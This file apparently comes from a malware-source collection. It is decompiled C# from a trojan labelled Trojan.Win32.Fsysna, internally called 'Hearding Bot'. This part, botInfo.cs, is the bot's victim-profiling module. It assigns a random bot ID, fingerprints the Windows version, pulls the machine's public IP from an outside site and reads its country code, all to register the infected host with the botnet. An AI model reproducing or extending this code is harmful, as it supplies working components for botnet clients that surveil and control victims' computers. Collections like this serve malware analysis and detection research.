MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.dljm-a7abcca3397d1344b43d53c1427609ca1808f1991c5d2b158fd67c1ea3e6f19a/botInfo.cs

66 lines
1.7 KiB
C#
Raw Normal View History

2022-08-18 11:28:56 +00:00
// Decompiled with JetBrains decompiler
// Type: Hearding_Bot.botInfo
// Assembly: Hearding Bot, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 931E7B23-EA6E-4139-8BD0-1A4E0BF9E258
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.dljm-a7abcca3397d1344b43d53c1427609ca1808f1991c5d2b158fd67c1ea3e6f19a.exe
using System;
using System.Globalization;
using System.Net;
namespace Hearding_Bot
{
internal class botInfo
{
public static string randID()
{
string str1 = "ABCDEFGHIJKLMNOPQRSTUV0123456789";
string str2 = "";
Random random = new Random();
for (int index = 0; index < 6; ++index)
str2 += str1[random.Next(str1.Length)].ToString();
return str2;
}
public static string getOS()
{
string str = Environment.OSVersion.Version.ToString();
if (str.StartsWith("6.1"))
return "WIN7";
if (str.StartsWith("6"))
return "VIS";
if (str.StartsWith("5.1"))
return "XP";
if (str.StartsWith("5"))
return "2000";
if (str.StartsWith("4.9"))
return "ME";
return str.StartsWith("4.1") ? "98" : "UNKN";
}
public static string getIP()
{
try
{
return new WebClient().DownloadString("http://whatismyip.com/automation/n09230945.asp");
}
catch (Exception ex)
{
return (string) null;
}
}
public static string countryCode(botInfo.codeType type)
{
RegionInfo currentRegion = RegionInfo.CurrentRegion;
return type == botInfo.codeType.Full ? currentRegion.EnglishName : currentRegion.ThreeLetterISORegionName;
}
public enum codeType
{
Short,
Full,
}
}
}